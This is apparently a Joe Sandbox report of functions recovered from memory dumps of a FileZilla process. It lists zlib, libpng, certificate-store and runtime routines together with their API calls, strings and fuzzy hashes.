Instruction ID: bf59716a6439f92cb8f625b6787ba3ee79ad0b8d01b9fb8d88897eea19466f77
Opcode Fuzzy Hash: 787e26429827939e3335ceaa2a58221048e2649563a2846530c8aed2a6d9f690
Instruction Fuzzy Hash: 1F525971B09E8282EB24EB15E4582B97BA1AB857F4F444332DA6E477E8DF3DE504C701

Function 61552BE0 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 140
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

deflateEnd.ZLIB1 ref: 61552CA7
deflateInit2_.ZLIB1 ref: 61552D17

Strings

1.2.11, xrefs: 61552CBD
deflateEnd failed (ignored), xrefs: 61552E78
using zstream, xrefs: 61552E15
TADI, xrefs: 61552C19
in use by IDAT, xrefs: 61552E8C
TADI, xrefs: 61552E3E
X, xrefs: 61552D00

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: deflate$Init2_
String ID: using zstream$1.2.11$TADI$TADI$X$deflateEnd failed (ignored)$in use by IDAT
API String ID: 4144194033-2902800670
Opcode ID: 901615a1fe4b152827a226c8e0809f53a78bda3a24d9ea23e93a1a1a3ca00ea3
Instruction ID: 7bbf5fee3681f4018999442af60c02acf544baf055486cbf26e1122659ace94d
Opcode Fuzzy Hash: 901615a1fe4b152827a226c8e0809f53a78bda3a24d9ea23e93a1a1a3ca00ea3
Instruction Fuzzy Hash: BF51C1722042A0DAE795CFA1E40CFDFB7A8F385798F85852ACE1987740DB79C455CB48

Function 00007FF81FA26600 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 101
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CertOpenStore.CRYPT32 ref: 00007FF81FA26643
CertEnumCertificatesInStore.CRYPT32 ref: 00007FF81FA26675
CertEnumCRLsInStore.CRYPT32 ref: 00007FF81FA26686
CertEnumCRLsInStore.CRYPT32 ref: 00007FF81FA26722
CertCloseStore.CRYPT32 ref: 00007FF81FA2673D
CertOpenStore.CRYPT32 ref: 00007FF81FA2676B

Strings

ROOT, xrefs: 00007FF81FA26610

Memory Dump Source

Source File: 0000000D.00000002.2605152304.00007FF81F9F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FF81F9F0000, based on PE: true

Associated: 0000000D.00000002.2605126700.00007FF81F9F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605321781.00007FF81FB1F000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605377466.00007FF81FB20000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605400386.00007FF81FB21000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB22000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB86000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605646288.00007FF81FBEC000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605675186.00007FF81FBF9000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605712647.00007FF81FBFA000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605737638.00007FF81FBFB000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605766159.00007FF81FC01000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff81f9f0000_filezilla.jbxd

Similarity

API ID: CertStore$Enum$Open$CertificatesClose
String ID: ROOT
API String ID: 1549706575-543233263
Opcode ID: eb44725672867d94b6265c439f29646707a7fb9a38273e8e39eaef20ad0b5fb4
Instruction ID: 006215cb39ead2a974ea55420de24e75731f1e7729a5b2703cfe2355304e3b8f
Opcode Fuzzy Hash: eb44725672867d94b6265c439f29646707a7fb9a38273e8e39eaef20ad0b5fb4
Instruction Fuzzy Hash: 9D317566B0AB5186EB28CF16B81192AB7A5FF897E4F544231EE4D03B54EE3DD4418B00

Function 00007FF81FB17020 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 253
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,00007FF81FB21134,?,?,?,?,00007FF81F9F123D), ref: 00007FF81FB1721D

Strings

%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p., xrefs: 00007FF81FB17287
Unknown pseudo relocation bit size %d., xrefs: 00007FF81FB17362
Unknown pseudo relocation protocol version %d., xrefs: 00007FF81FB1736E

Memory Dump Source

Source File: 0000000D.00000002.2605152304.00007FF81F9F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FF81F9F0000, based on PE: true

Associated: 0000000D.00000002.2605126700.00007FF81F9F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605321781.00007FF81FB1F000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605377466.00007FF81FB20000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605400386.00007FF81FB21000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB22000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB86000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605646288.00007FF81FBEC000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605675186.00007FF81FBF9000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605712647.00007FF81FBFA000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605737638.00007FF81FBFB000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605766159.00007FF81FC01000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff81f9f0000_filezilla.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.$%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p.
API String ID: 544645111-1286557213
Opcode ID: f170bc8273044833b1fbfca84c447f009a19da6a4756507120d55c8f3ebe7b82
Instruction ID: 1dfce378e0152659d68ab41d945f86cb14dcd2d47de62f1699f680f381a3a062
Opcode Fuzzy Hash: f170bc8273044833b1fbfca84c447f009a19da6a4756507120d55c8f3ebe7b82
Instruction Fuzzy Hash: 05A19E26F0DD5286FA349B21F90067967A2AF55BF4F288331EE2D577D5DE3CE8428240

Function 61553980 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

deflate.ZLIB1 ref: 61553A6D

Strings

TADI, xrefs: 61553990
TADI, xrefs: 61553C36
DNEI, xrefs: 61553C80
TADI, xrefs: 615539EB
Z_OK on Z_FINISH with output space, xrefs: 61553B21
TADI, xrefs: 61553B4E

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: deflate
String ID: DNEI$TADI$TADI$TADI$TADI$Z_OK on Z_FINISH with output space
API String ID: 3803212549-1476131155
Opcode ID: 004d2d33c710c81dc71aa4eff8a94c13e1b780552361d99ac2482f56229581d1
Instruction ID: 5cbeaf6e46fe4f087fe086ea08c689779386b83761260e527dbcb9a6370c08c7
Opcode Fuzzy Hash: 004d2d33c710c81dc71aa4eff8a94c13e1b780552361d99ac2482f56229581d1
Instruction Fuzzy Hash: D461EF72A057A18ADBC2CB66D45CBCEB7A4EB85BE8F85C526CF0D0B350DB788455C304

Function 6154BD20 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 172
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

inflate.ZLIB1 ref: 6154BDB7

Strings

Not enough image data, xrefs: 6154BFB0
TADI, xrefs: 6154BE72
TADI, xrefs: 6154BFE2
invalid window size (libpng), xrefs: 6154BF97
Extra compressed data, xrefs: 6154BF86
Too much image data, xrefs: 6154BF64

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: inflate
String ID: Extra compressed data$Not enough image data$TADI$TADI$Too much image data$invalid window size (libpng)
API String ID: 3919641094-761899554
Opcode ID: a0da99dd755ce98565b6e481e8fccbb12d0dd20e981fbd091a5de83d5f94331f
Instruction ID: d628ec7bd6ae31e66dff9dfaa8c42a97eead68008f532b42339f2d78ae8bc455
Opcode Fuzzy Hash: a0da99dd755ce98565b6e481e8fccbb12d0dd20e981fbd091a5de83d5f94331f
Instruction Fuzzy Hash: 155135727056A09AEB42DB65E84CFDEB7A4F7C57D8F85C6248E280B350EF398486C704

Function 00007FF81FB16E40 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 00007FF81FB16F5B

Strings

Mingw-w64 runtime failure:, xrefs: 00007FF81FB16E77
VirtualProtect failed with code 0x%x, xrefs: 00007FF81FB16FCE
VirtualQuery failed for %d bytes at address %p, xrefs: 00007FF81FB16FF1
Address %p has no image-section, xrefs: 00007FF81FB16EB2, 00007FF81FB17005

Memory Dump Source

Source File: 0000000D.00000002.2605152304.00007FF81F9F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FF81F9F0000, based on PE: true

Associated: 0000000D.00000002.2605126700.00007FF81F9F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605321781.00007FF81FB1F000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605377466.00007FF81FB20000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605400386.00007FF81FB21000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB22000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB86000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605646288.00007FF81FBEC000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605675186.00007FF81FBF9000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605712647.00007FF81FBFA000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605737638.00007FF81FBFB000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605766159.00007FF81FC01000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff81f9f0000_filezilla.jbxd

Similarity

API ID: QueryVirtual
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 1804819252-1534286854
Opcode ID: d7dff58ea400214651fb8b068ac9bb1881de7ada73a6ec28c4e026b04e5696db
Instruction ID: 71cc8316fe66aa2a1e149dae7fcb1d7c1a34a3b1d3d02765d83fc8a7615c4ab3
Opcode Fuzzy Hash: d7dff58ea400214651fb8b068ac9bb1881de7ada73a6ec28c4e026b04e5696db
Instruction Fuzzy Hash: 9551CF76A08E4682EB209B51F840AAA7B66FB88BF4F444335EE4C07395DF3CE555C740

Function 615394A0 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 615394D3
malloc.MSVCRT ref: 61539516

Strings

Out of Memory, xrefs: 61539530
Out of memory, xrefs: 615394F0

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: malloc
String ID: Out of Memory$Out of memory
API String ID: 2803490479-2845062656
Opcode ID: 15a4c0bdbc6f7abf261f1e25b14b16634d9d609cbaf466afe69fada524455ca8
Instruction ID: 6f50814ea4b7eade5471218df4cfad802f03f337eb940eba5ad7ad63244aa659
Opcode Fuzzy Hash: 15a4c0bdbc6f7abf261f1e25b14b16634d9d609cbaf466afe69fada524455ca8
Instruction Fuzzy Hash: 9BF0A9D6B5332280FE8EA3EA3480379C7422FC97C4F88E8298D294B340FE288591C350

Function 61550600 Relevance: 4.7, APIs: 1, Strings: 2, Instructions: 215COMMON

Download Yara Rule

Strings

internal write transform logic error, xrefs: 61550A36
png_write_info was never called before png_write_row, xrefs: 61550A45

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID:
String ID: internal write transform logic error$png_write_info was never called before png_write_row
API String ID: 0-3606446680
Opcode ID: c3e883f59707d929fe08767f78a008f969c419322ebaa7cbfc7cdc77bc4bccd8
Instruction ID: 7242e35081f184966f12894db6f3bf804b2cf9b11b7a2344d994ad4634520fd0
Opcode Fuzzy Hash: c3e883f59707d929fe08767f78a008f969c419322ebaa7cbfc7cdc77bc4bccd8
Instruction Fuzzy Hash: 7A81356621A2E185EB968766A018FAEFF66E7C67CCF89C103DE8547745CA2CC064CB04

Function 61576AF0 Relevance: 4.7, APIs: 1, Strings: 2, Instructions: 215COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 61576DA4

Strings

`Xa, xrefs: 61576E90
X, xrefs: 61576B1F

Memory Dump Source

Source File: 0000000D.00000002.2596590874.0000000061571000.00000020.00000001.01000000.00000019.sdmp, Offset: 61570000, based on PE: true

Associated: 0000000D.00000002.2596533750.0000000061570000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2596752323.000000006158A000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2596813154.0000000061593000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2596902370.0000000061594000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2597059856.0000000061597000.00000008.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2597122641.0000000061598000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61570000_filezilla.jbxd

Similarity

API ID: memset
String ID: X$`Xa
API String ID: 2221118986-3122905308
Opcode ID: 7e37200f8a79749ab1ac30c82fa29b8688ea188977425f7d364bb815d6052858
Instruction ID: 9ce237726f856f11f324019ee979c4624cc4e29f7bf707b43f7f1859d5a63aed
Opcode Fuzzy Hash: 7e37200f8a79749ab1ac30c82fa29b8688ea188977425f7d364bb815d6052858
Instruction Fuzzy Hash: D691B077211B80CAFB60CF2AD445B9E7BE6F785B88F04862ACE0947794DB39C484C761

Function 00007FF81FAFD090 Relevance: 4.7, APIs: 1, Strings: 2, Instructions: 186stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF81FAFD16E

Strings

:: identifier ', xrefs: 00007FF81FAFD316
' not found, xrefs: 00007FF81FAFD348

Memory Dump Source

Source File: 0000000D.00000002.2605152304.00007FF81F9F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FF81F9F0000, based on PE: true

Associated: 0000000D.00000002.2605126700.00007FF81F9F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605321781.00007FF81FB1F000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605377466.00007FF81FB20000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605400386.00007FF81FB21000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB22000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB86000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605646288.00007FF81FBEC000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605675186.00007FF81FBF9000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605712647.00007FF81FBFA000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605737638.00007FF81FBFB000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605766159.00007FF81FC01000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff81f9f0000_filezilla.jbxd

Similarity

API ID: strlen
String ID: ' not found$:: identifier '
API String ID: 39653677-1058619848
Opcode ID: 8370fcde52a5537f23cd1d1e3b3f59909c1d6bc8e1adf88a432d8dfef68edc2a
Instruction ID: 99a7be09f8fa6cb13786ebfd1eb0339bdb1edbac1ef0f8cca91de52100447f6e
Opcode Fuzzy Hash: 8370fcde52a5537f23cd1d1e3b3f59909c1d6bc8e1adf88a432d8dfef68edc2a
Instruction Fuzzy Hash: 35816D22A18E8683EB629B15D4663BE6290FF807E8F444331DA5E4F795DF3CE540C381

Function 6157C110 Relevance: 3.8, APIs: 3, Instructions: 95COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6157C15E

Memory Dump Source

Source File: 0000000D.00000002.2596590874.0000000061571000.00000020.00000001.01000000.00000019.sdmp, Offset: 61570000, based on PE: true

Associated: 0000000D.00000002.2596533750.0000000061570000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2596752323.000000006158A000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2596813154.0000000061593000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2596902370.0000000061594000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2597059856.0000000061597000.00000008.00000001.01000000.00000019.sdmpDownload File
Associated: 0000000D.00000002.2597122641.0000000061598000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61570000_filezilla.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: b56763fbdd1d7ced4b2be9f7e8ba417c94e7988227520e7c57fc2334b21ad079
Instruction ID: e08295a874e8fcbfa524af770a64e7ee635103a6f244e7f11852257273f76552
Opcode Fuzzy Hash: b56763fbdd1d7ced4b2be9f7e8ba417c94e7988227520e7c57fc2334b21ad079
Instruction Fuzzy Hash: FC314F777225118BD761CE6AF88465AF6E1F788B94F049035CF4A87F40D679F8818B00

Function 00007FF81FA5CE20 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00007FF81FA5CE35
_errno.MSVCRT ref: 00007FF81FA5CE44

Memory Dump Source

Source File: 0000000D.00000002.2605152304.00007FF81F9F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FF81F9F0000, based on PE: true

Associated: 0000000D.00000002.2605126700.00007FF81F9F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605321781.00007FF81FB1F000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605377466.00007FF81FB20000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605400386.00007FF81FB21000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB22000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605458972.00007FF81FB86000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605646288.00007FF81FBEC000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605675186.00007FF81FBF9000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605712647.00007FF81FBFA000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605737638.00007FF81FBFB000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 0000000D.00000002.2605766159.00007FF81FC01000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff81f9f0000_filezilla.jbxd

Similarity

API ID: _errnomalloc
String ID:
API String ID: 2517923351-0
Opcode ID: 54c693c0a23b61318d361dcb56362dc2249f8ded761ae0474da5585289af7954
Instruction ID: 3ecb745668eca41066a2ae465cf44d9858a62e08e0a750d5bcdc962d10171600
Opcode Fuzzy Hash: 54c693c0a23b61318d361dcb56362dc2249f8ded761ae0474da5585289af7954
Instruction Fuzzy Hash: F8D09E19F0BF139EFD6D6764596633911515F487A9F840B34DD0F513E4EE2C74414610

Function 6153FAD0 Relevance: 1.6, APIs: 1, Instructions: 87COMMON

Download Yara Rule

APIs

inflateEnd.ZLIB1 ref: 6153FBDF

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: inflate
String ID:
API String ID: 3919641094-0
Opcode ID: f641d61537ef250ebbca76fad07f66da7730b40e292c0e6dcd90ba5ba3e9f629
Instruction ID: d991ac522c527720ab51c90b0b3f44b9d869ec5c4cc3a6a60202ae93311f29f7
Opcode Fuzzy Hash: f641d61537ef250ebbca76fad07f66da7730b40e292c0e6dcd90ba5ba3e9f629
Instruction Fuzzy Hash: 67314EB72086A181DA45DB66E49CF9F6369F7C5BD9F41A106CF590B384EF38C580C388

Function 6153E170 Relevance: 1.3, APIs: 1, Instructions: 92COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6153DEAF

Part of subcall function 6154B050: memcpy.MSVCRT ref: 6154B133

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: d7bb837ef3bb9c8c7ab94d352c54ea06941d425188032201f5ffc82b15f2726f
Instruction ID: 646e524cb5780d2b58c98ee33cd9b81795f39c8a21c3359f98310b7ac01bddac
Opcode Fuzzy Hash: d7bb837ef3bb9c8c7ab94d352c54ea06941d425188032201f5ffc82b15f2726f
Instruction Fuzzy Hash: A831DE723056E540EB528B62944CFAFAB65E7C2BD8F85C102DE680B354DF39C441C748

Function 6153E1B0 Relevance: 1.3, APIs: 1, Instructions: 92COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6153DEAF

Part of subcall function 6154B050: memcpy.MSVCRT ref: 6154B133

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 3cd7843c2b5d3ad6c9bfc0397cd66b56e6ac323cfae76771cae63cc5eca2fdf2
Instruction ID: e63d85629f7bf3fb4e7a807e97e491736a56292a637986dbb66df70579695631
Opcode Fuzzy Hash: 3cd7843c2b5d3ad6c9bfc0397cd66b56e6ac323cfae76771cae63cc5eca2fdf2
Instruction Fuzzy Hash: D831DC723056E580DB52CB62948CFAFAB65E7C2BD8F85C102DE680B394DF39C841C748

Function 6153E158 Relevance: 1.3, APIs: 1, Instructions: 90COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6153DEAF

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: c33bf39650c099096966688d05c9f5eb50926b8afc4d6e8796a20786122af96f
Instruction ID: 442a14471aa1660a7374ab388c1150ec234ff8ac041adbcdd2cb23f5171dacda
Opcode Fuzzy Hash: c33bf39650c099096966688d05c9f5eb50926b8afc4d6e8796a20786122af96f
Instruction Fuzzy Hash: D231C0762056E580DB428B62944CFAFBB65E7C2BD8F85C202DE680B394DF39C485C748

Function 6153E108 Relevance: 1.3, APIs: 1, Instructions: 90COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6153DEAF

Memory Dump Source

Source File: 0000000D.00000002.2596249694.0000000061531000.00000020.00000001.01000000.0000001A.sdmp, Offset: 61530000, based on PE: true

Associated: 0000000D.00000002.2596180412.0000000061530000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596375005.000000006155F000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596450081.0000000061569000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 0000000D.00000002.2596475130.000000006156B000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_61530000_filezilla.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
